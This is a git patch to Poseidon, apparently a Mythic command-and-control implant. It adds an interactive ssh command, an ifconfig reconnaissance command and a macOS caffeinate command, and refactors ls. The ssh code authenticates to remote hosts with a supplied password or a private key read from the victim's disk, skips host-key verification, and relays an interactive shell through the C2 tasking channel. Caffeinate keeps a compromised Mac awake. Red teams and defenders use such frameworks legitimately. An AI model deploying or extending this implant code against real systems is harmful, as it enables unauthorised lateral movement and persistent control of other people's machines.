From 988128fcaf397cfb1f42ae7105ea75a8192845af Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Thu, 5 Sep 2024 20:39:27 -0400 Subject: [PATCH] Adding ssh, ifconfig, and caffeinate commands --- .../poseidon/poseidon/agent_code/CHANGELOG.MD | 8 + .../agent_code/caffeinate/caffeinate.go | 40 ++ .../caffeinate/caffeinate_darwin.go | 38 ++ .../agent_code/caffeinate/caffeinate_linux.go | 28 ++ .../caffeinate/caffeinate_wrapper_darwin.h | 7 + .../caffeinate/caffeinate_wrapper_darwin.m | 24 ++ .../poseidon/agent_code/ifconfig/ifconfig.go | 21 + .../poseidon/poseidon/agent_code/ls/ls.go | 31 +- .../agent_code/pkg/tasks/newTasking.go | 9 + .../poseidon/poseidon/agent_code/ssh/ssh.go | 365 ++++++++++++++++++ .../poseidon/agentfunctions/builder.go | 2 +- .../poseidon/agentfunctions/caffeinate.go | 47 +++ .../poseidon/agentfunctions/ifconfig.go | 33 ++ .../poseidon/poseidon/agentfunctions/ssh.go | 137 +++++++ 14 files changed, 777 insertions(+), 13 deletions(-) create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h create mode 100644 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m create mode 100755 Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/ssh.go diff --git a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD index 3a4a9b5..fe5a4a6 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD +++ b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 2.1.3 - 2024-09-05 + +### Changed + +- Added ifconfig command +- Added caffeinate command for macOS +- Added ssh interactive command similar to pty, but for ssh connections + ## 2.1.2 - 2024-08-05 ### Changed diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go new file mode 100755 index 0000000..ce9a3ac --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go @@ -0,0 +1,40 @@ +package caffeinate + +import ( + // Standard + "encoding/json" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +type CaffeinateRun interface { + Success() bool + Result() string +} + +type Arguments struct { + Enable bool `json:"enable"` +} + +func Run(task structs.Task) { + msg := task.NewResponse() + args := Arguments{} + err := json.Unmarshal([]byte(task.Params), &args) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + r, err := runCommand(args.Enable) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + msg.UserOutput = r.Result() + msg.Completed = true + task.Job.SendResponses <- msg + return +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go new file mode 100755 index 0000000..dada33a --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go @@ -0,0 +1,38 @@ +//go:build darwin +// +build darwin + +package caffeinate + +/* +#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new +#cgo LDFLAGS: -framework Foundation -framework IOKit +#include "caffeinate_wrapper_darwin.h" +*/ +import "C" + +type CaffeinateRunDarwin struct { + Successful bool + Results string +} + +func (j *CaffeinateRunDarwin) Success() bool { + return j.Successful +} + +func (j *CaffeinateRunDarwin) Result() string { + return j.Results +} + +func runCommand(enable bool) (CaffeinateRunDarwin, error) { + enableInt := 0 + if enable { + enableInt = 1 + } + cEnable := C.int(enableInt) + cresult := C.caffeinate(cEnable) + result := C.GoString(cresult) + r := CaffeinateRunDarwin{} + r.Successful = true + r.Results = result + return r, nil +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go new file mode 100755 index 0000000..59669e1 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go @@ -0,0 +1,28 @@ +//go:build linux +// +build linux + +package caffeinate + +import ( + "errors" +) + +type CaffeinateRunLinux struct { + Successful bool + Resultstring string +} + +func (j *CaffeinateRunLinux) Success() bool { + return j.Successful +} + +func (j *CaffeinateRunLinux) Result() string { + return j.Resultstring +} + +func runCommand(enable bool) (CaffeinateRunLinux, error) { + n := CaffeinateRunLinux{} + n.Resultstring = "" + n.Successful = false + return n, errors.New("Not implemented") +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h new file mode 100755 index 0000000..ae53ba1 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h @@ -0,0 +1,7 @@ + +#ifndef main_h +#define main_h + +extern char* caffeinate(int enable); + +#endif /* main_h */ diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m new file mode 100644 index 0000000..65b98f9 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m @@ -0,0 +1,24 @@ +#import +#import +#include "caffeinate_wrapper_darwin.h" + +char* caffeinate(int enable) { + @try { + IOPMAssertionLevel newLevel = kIOPMAssertionLevelOn; + if(enable == 0){ + newLevel = kIOPMAssertionLevelOff; + } + CFStringRef assertionName = CFStringCreateWithCString(NULL, "caffeinate", kCFStringEncodingUTF8); + IOPMAssertionID assertionID; + IOReturn status = IOPMAssertionCreateWithName(kIOPMAssertionTypePreventSystemSleep, newLevel, assertionName, &assertionID); + if(status == kIOReturnSuccess){ + return "Successfully adjusted caffeinate status"; + } else { + NSString* fmtString = [NSString stringWithFormat:@"Failed to set status: %d", status]; + return [fmtString UTF8String]; + } + } @catch (NSException *exception) { + return [[exception reason] UTF8String]; + } + +} \ No newline at end of file diff --git a/Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go b/Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go new file mode 100755 index 0000000..5199e41 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go @@ -0,0 +1,21 @@ +package ifconfig + +import ( + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/functions" + + "strings" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +// Run - Function that executes +func Run(task structs.Task) { + msg := task.NewResponse() + ips := functions.GetCurrentIPAddress() + msg.UserOutput = strings.Join(ips, "\n") + msg.Completed = true + task.Job.SendResponses <- msg + return +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go b/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go index 89b7827..3b2e606 100755 --- a/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go +++ b/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go @@ -3,7 +3,6 @@ package ls import ( // Standard "encoding/json" - "io/ioutil" "os" "os/user" "path/filepath" @@ -41,7 +40,12 @@ func GetPermission(finfo os.FileInfo) structs.FilePermission { func Run(task structs.Task) { msg := task.NewResponse() args := structs.FileBrowserArguments{} - json.Unmarshal([]byte(task.Params), &args) + err := json.Unmarshal([]byte(task.Params), &args) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } var e structs.FileBrowser fixedPath := args.Path if strings.HasPrefix(fixedPath, "~/") { @@ -51,9 +55,7 @@ func Run(task structs.Task) { abspath, _ := filepath.Abs(fixedPath) dirInfo, err := os.Stat(abspath) if err != nil { - msg.UserOutput = err.Error() - msg.Completed = true - msg.Status = "error" + msg.SetError(err.Error()) task.Job.SendResponses <- msg return } @@ -76,11 +78,9 @@ func Run(task structs.Task) { e.Success = true e.UpdateDeleted = true if dirInfo.IsDir() { - files, err := ioutil.ReadDir(abspath) + files, err := os.ReadDir(abspath) if err != nil { - msg.UserOutput = err.Error() - msg.Completed = true - msg.Status = "error" + msg.SetError(err.Error()) e.Success = false msg.FileBrowser = &e task.Job.SendResponses <- msg @@ -90,11 +90,18 @@ func Run(task structs.Task) { fileEntries := make([]structs.FileData, len(files)) for i := 0; i < len(files); i++ { fileEntries[i].IsFile = !files[i].IsDir() - fileEntries[i].Permissions = GetPermission(files[i]) + fileInfo, err := files[i].Info() + if err != nil { + fileEntries[i].Permissions = structs.FilePermission{} + fileEntries[i].FileSize = -1 + fileEntries[i].LastModified = 0 + } else { + fileEntries[i].Permissions = GetPermission(fileInfo) + fileEntries[i].FileSize = fileInfo.Size() + fileEntries[i].LastModified = fileInfo.ModTime().Unix() * 1000 + } fileEntries[i].Name = files[i].Name() fileEntries[i].FullName = filepath.Join(abspath, files[i].Name()) - fileEntries[i].FileSize = files[i].Size() - fileEntries[i].LastModified = files[i].ModTime().Unix() * 1000 at, err := atime.Stat(abspath) if err != nil { fileEntries[i].LastAccess = 0 diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go index 05e669b..49f780a 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go @@ -1,6 +1,7 @@ package tasks import ( + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/caffeinate" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cat" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cd" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/clipboard" @@ -14,6 +15,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/getenv" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/getuser" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/head" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ifconfig" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jsimport" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jsimport_call" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jxa" @@ -47,6 +49,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/shell" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sleep" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/socks" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ssh" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sshauth" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sudo" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/tail" @@ -189,6 +192,12 @@ func listenForNewTask() { go shell.RunConfig(task) case "config": go config.Run(task) + case "ssh": + go ssh.Run(task) + case "ifconfig": + go ifconfig.Run(task) + case "caffeinate": + go caffeinate.Run(task) default: // No tasks, do nothing break diff --git a/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go b/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go new file mode 100755 index 0000000..96aab42 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go @@ -0,0 +1,365 @@ +package ssh + +import ( + "bufio" + "bytes" + "encoding/base64" + "encoding/json" + "fmt" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/enums/InteractiveTask" + goSSH "golang.org/x/crypto/ssh" + "io" + "os" + "path/filepath" + "strings" + "time" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +// Credential Manages credential objects for authentication +type Credential struct { + Username string + Password string + PrivateKey string +} + +type SSHParams struct { + Host string `json:"host"` + Port int `json:"port"` + Username string `json:"username"` + Password string `json:"password"` + PrivateKey string `json:"private_key"` +} + +// SSH Functions +func PublicKeyFile(file string) (goSSH.AuthMethod, error) { + buffer, err := os.ReadFile(file) + if err != nil { + return nil, err + } + + key, err := goSSH.ParsePrivateKey(buffer) + if err != nil { + return nil, err + } + return goSSH.PublicKeys(key), nil +} + +func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, io.Reader, io.Reader, io.Writer, error) { + var sshConfig *goSSH.ClientConfig + if cred.PrivateKey == "" { + sshConfig = &goSSH.ClientConfig{ + User: cred.Username, + HostKeyCallback: goSSH.InsecureIgnoreHostKey(), + Timeout: 500 * time.Millisecond, + Auth: []goSSH.AuthMethod{goSSH.Password(cred.Password)}, + } + } else { + sshAuthMethodPrivateKey, err := PublicKeyFile(cred.PrivateKey) + if err != nil { + return nil, nil, nil, nil, err + } + sshConfig = &goSSH.ClientConfig{ + User: cred.Username, + Timeout: 500 * time.Millisecond, + HostKeyCallback: goSSH.InsecureIgnoreHostKey(), + Auth: []goSSH.AuthMethod{sshAuthMethodPrivateKey}, + } + } + + connectionStr := fmt.Sprintf("%s:%d", host, port) + connection, err := goSSH.Dial("tcp", connectionStr, sshConfig) + if err != nil { + return nil, nil, nil, nil, err + } + session, err := connection.NewSession() + if err != nil { + connection.Close() + return nil, nil, nil, nil, err + } + modes := goSSH.TerminalModes{ + goSSH.ECHO: 0, + goSSH.TTY_OP_ISPEED: 14400, + goSSH.TTY_OP_OSPEED: 14400, + } + err = session.RequestPty("xterm-256color", 80, 80, modes) + if err != nil { + session.Close() + return nil, nil, nil, nil, err + } + stdErrPipe, err := session.StderrPipe() + if err != nil { + utils.PrintDebug("failed to get stdErrPipe") + return nil, nil, nil, nil, err + } + stdOutPipe, err := session.StdoutPipe() + if err != nil { + utils.PrintDebug("failed to get stdOutPipe") + return nil, nil, nil, nil, err + } + stdInPipe, err := session.StdinPipe() + if err != nil { + utils.PrintDebug("failed to get stdInPipe") + return nil, nil, nil, nil, err + } + err = session.Shell() + if err != nil { + session.Close() + return nil, nil, nil, nil, err + } + return session, stdOutPipe, stdErrPipe, stdInPipe, nil +} + +func Run(task structs.Task) { + params := SSHParams{} + msg := task.NewResponse() + err := json.Unmarshal([]byte(task.Params), ¶ms) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + if params.Password == "" && params.PrivateKey == "" { + msg.SetError("Missing password/private key parameter") + task.Job.SendResponses <- msg + return + } + if params.Username == "" { + msg.SetError("Missing username parameter.") + task.Job.SendResponses <- msg + return + } + if params.Port == 0 { + params.Port = 22 + } + if params.PrivateKey != "" { + if strings.HasPrefix(params.PrivateKey, "~/") { + dirname, _ := os.UserHomeDir() + params.PrivateKey = filepath.Join(dirname, params.PrivateKey[2:]) + } + } + cred := Credential{ + Username: params.Username, + Password: params.Password, + PrivateKey: params.PrivateKey, + } + session, stdOutPipe, stdErrPipe, stdInPipe, err := SSHLogin(params.Host, params.Port, cred) + if err != nil { + utils.PrintDebug("failed to login") + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + defer session.Close() + + // start processing the new ssh pty + outputChannel := make(chan string, 1) + errorChannel := make(chan string, 1) + doneChannel := make(chan bool, 2) + doneTimeDelayChannel := make(chan bool) + sendTimeDelayChannel := make(chan bool) + go func() { + // wait for stdin data and pass that along + for { + select { + case inputMsg := <-task.Job.InteractiveTaskInputChannel: + data, err := base64.StdEncoding.DecodeString(inputMsg.Data) + + if err != nil { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(err.Error())), + MessageType: InteractiveTask.Error, + } + continue + } + //fmt.Printf("got a message from interactive tasking (%d):\n%s\n", inputMsg.MessageType, data) + err = nil + switch inputMsg.MessageType { + case InteractiveTask.Input: + _, err = io.Copy(stdInPipe, bytes.NewReader(data)) + case InteractiveTask.CtrlA: + _, err = stdInPipe.Write([]byte{0x01}) + case InteractiveTask.CtrlB: + _, err = stdInPipe.Write([]byte{0x02}) + case InteractiveTask.CtrlC: + _, err = stdInPipe.Write([]byte{0x03}) + case InteractiveTask.CtrlD: + _, err = stdInPipe.Write([]byte{0x04}) + case InteractiveTask.CtrlE: + _, err = stdInPipe.Write([]byte{0x05}) + case InteractiveTask.CtrlF: + _, err = stdInPipe.Write([]byte{0x06}) + case InteractiveTask.CtrlG: + _, err = stdInPipe.Write([]byte{0x07}) + case InteractiveTask.Backspace: + _, err = stdInPipe.Write([]byte{0x08}) + case InteractiveTask.Tab: + if len(data) > 0 { + _, err = io.Copy(stdInPipe, bytes.NewReader(data)) + } + _, err = stdInPipe.Write([]byte{0x09}) + case InteractiveTask.CtrlK: + _, err = stdInPipe.Write([]byte{0x0B}) + case InteractiveTask.CtrlL: + _, err = stdInPipe.Write([]byte{0x0C}) + case InteractiveTask.CtrlN: + _, err = stdInPipe.Write([]byte{0x0E}) + case InteractiveTask.CtrlP: + _, err = stdInPipe.Write([]byte{0x10}) + case InteractiveTask.CtrlQ: + _, err = stdInPipe.Write([]byte{0x11}) + case InteractiveTask.CtrlR: + _, err = stdInPipe.Write([]byte{0x12}) + case InteractiveTask.CtrlS: + _, err = stdInPipe.Write([]byte{0x13}) + case InteractiveTask.CtrlU: + _, err = stdInPipe.Write([]byte{0x15}) + case InteractiveTask.CtrlW: + _, err = stdInPipe.Write([]byte{0x17}) + case InteractiveTask.CtrlY: + _, err = stdInPipe.Write([]byte{0x19}) + case InteractiveTask.CtrlZ: + _, err = stdInPipe.Write([]byte{0x1A}) + case InteractiveTask.Escape: + _, err = stdInPipe.Write([]byte{0x1B}) + if len(data) > 0 { + _, err = io.Copy(stdInPipe, bytes.NewReader(data)) + } + case InteractiveTask.Exit: + session.Signal(goSSH.SIGTERM) + doneChannel <- true + return + default: + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte("Unknown control code")), + MessageType: InteractiveTask.Error, + } + continue + } + if err != nil { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(err.Error())), + MessageType: InteractiveTask.Error, + } + } + //fmt.Printf("successfully sent message along to interactive session\n") + } + } + }() + go func() { + bufferedOutput := "" + bufferedError := "" + for { + select { + case <-doneChannel: + if bufferedOutput != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedOutput)), + MessageType: InteractiveTask.Output, + } + } + if bufferedError != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedError)), + MessageType: InteractiveTask.Error, + } + } + return + case newBufferedOutput := <-outputChannel: + //fmt.Printf("got new output for buffered channel:\n%s", newBufferedOutput) + bufferedOutput += newBufferedOutput + case newBufferedError := <-errorChannel: + //fmt.Printf("got new error for buffered channel:\n%s", newBufferedError) + bufferedError += newBufferedError + case <-sendTimeDelayChannel: + if bufferedOutput != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedOutput)), + MessageType: InteractiveTask.Output, + } + bufferedOutput = "" + } + if bufferedError != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedError)), + MessageType: InteractiveTask.Error, + } + bufferedError = "" + } + + } + } + }() + go func() { + for { + select { + case <-doneTimeDelayChannel: + return + case <-time.After(1 * time.Second): + sendTimeDelayChannel <- true + } + } + }() + go func() { + stdOutReader := bufio.NewReader(stdOutPipe) + buff := make([]byte, 1024) + var totalRead int = 0 + var readError error = nil + for readError == nil { + totalRead, readError = stdOutReader.Read(buff) + if readError != nil && readError == io.EOF { + //fmt.Printf("reached EOF\n") + return + } else if readError != nil { + //fmt.Printf("got an error reading: %v\n", err) + return + } else { + outputChannel <- fmt.Sprintf("%s", string(buff[:totalRead])) + } + } + //fmt.Printf("Finished reading from tty\n") + }() + go func() { + stdErrReader := bufio.NewReader(stdErrPipe) + buff := make([]byte, 1024) + var totalRead int = 0 + var readError error = nil + for readError == nil { + totalRead, readError = stdErrReader.Read(buff) + if readError != nil && readError == io.EOF { + //fmt.Printf("reached EOF\n") + return + } else if readError != nil { + //fmt.Printf("got an error reading: %v\n", err) + return + } else { + outputChannel <- fmt.Sprintf("%s", string(buff[:totalRead])) + } + } + //fmt.Printf("Finished reading from tty\n") + }() + err = session.Wait() + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + outputMsg := structs.Response{} + outputMsg.TaskID = task.TaskID + outputMsg.Completed = true + task.Job.SendResponses <- outputMsg + doneTimeDelayChannel <- true + doneChannel <- true + return +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index 61e2977..e7879b0 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -21,7 +21,7 @@ import ( "time" ) -const version = "2.1.4" +const version = "2.1.5" type sleepInfoStruct struct { Interval int `json:"interval"` diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go b/Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go new file mode 100644 index 0000000..bf7671e --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go @@ -0,0 +1,47 @@ +package agentfunctions + +import ( + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "caffeinate", + Description: "Prevent the system from sleeping", + HelpString: "caffeinate -enable", + Version: 1, + Author: "@its_a_feature_", + MitreAttackMappings: []string{}, + SupportedUIFeatures: []string{}, + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{agentstructs.SUPPORTED_OS_MACOS}, + }, + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "enable", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_BOOLEAN, + Description: "Enable caffeinate", + DefaultValue: false, + ModalDisplayName: "Enable", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: false, + }, + }, + }, + }, + TaskFunctionCreateTasking: func(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: taskData.Task.ID, + } + return response + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return args.LoadArgsFromJSONString(input) + }, + }) +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go b/Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go new file mode 100644 index 0000000..3f14925 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go @@ -0,0 +1,33 @@ +package agentfunctions + +import ( + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "ifconfig", + Description: "Get all of the current IP addresses", + HelpString: "ifconfig", + Version: 1, + MitreAttackMappings: []string{"T1082"}, + SupportedUIFeatures: []string{}, + Author: "@its_a_feature_", + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{}, + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return nil + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return nil + }, + TaskFunctionCreateTasking: func(task *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: task.Task.ID, + } + return response + }, + }) +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/ssh.go b/Payload_Type/poseidon/poseidon/agentfunctions/ssh.go new file mode 100644 index 0000000..aff8e84 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/ssh.go @@ -0,0 +1,137 @@ +package agentfunctions + +import ( + "fmt" + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" + "strings" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "ssh", + Description: `SSH to host using the designated credentials and open a PTY without spawning ssh`, + HelpString: "ssh", + Version: 1, + Author: "@its_a_feature_", + MitreAttackMappings: []string{}, + SupportedUIFeatures: []string{"task_response:interactive"}, + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{}, + }, + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "username", + ModalDisplayName: "Username", + Description: "Authenticate to the designated hosts using this username", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 1, + GroupName: "run-command-plaintext-password", + }, + { + ParameterIsRequired: true, + UIModalPosition: 1, + GroupName: "run-command-private-key", + }, + }, + }, + { + Name: "private_key", + ModalDisplayName: "Path to Private key on disk", + Description: "Authenticate to the designated hosts using this private key", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 2, + GroupName: "run-command-private-key", + }, + }, + }, + { + Name: "port", + ModalDisplayName: "SSH Port", + Description: "SSH Port if different than 22", + DefaultValue: 22, + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_NUMBER, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: false, + UIModalPosition: 5, + GroupName: "run-command-private-key", + }, + { + ParameterIsRequired: false, + UIModalPosition: 5, + GroupName: "run-command-plaintext-password", + }, + }, + }, + { + Name: "password", + ModalDisplayName: "Plaintext Password", + Description: "Authenticate to the designated hosts using this password", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 3, + GroupName: "run-command-plaintext-password", + }, + }, + }, + { + Name: "host", + ModalDisplayName: "Hostname or IP", + Description: "Host that you will auth to", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: "127.0.0.1", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 4, + GroupName: "run-command-plaintext-password", + }, + { + ParameterIsRequired: true, + UIModalPosition: 4, + GroupName: "run-command-private-key", + }, + }, + }, + }, + TaskFunctionCreateTasking: func(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: taskData.Task.ID, + } + displayParams := "" + if username, err := taskData.Args.GetStringArg("username"); err != nil { + response.Success = false + response.Error = err.Error() + } else if groupName, err := taskData.Args.GetParameterGroupName(); err != nil { + response.Success = false + response.Error = err.Error() + } else { + displayParams += fmt.Sprintf("as %s ", username) + if strings.Contains(groupName, "private-key") { + // authing with private key + displayParams += fmt.Sprintf("with a private key") + } else { + // authing with plaintext password + displayParams += fmt.Sprintf("with a plaintext password") + } + response.DisplayParams = &displayParams + } + return response + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return args.LoadArgsFromJSONString(input) + }, + }) +}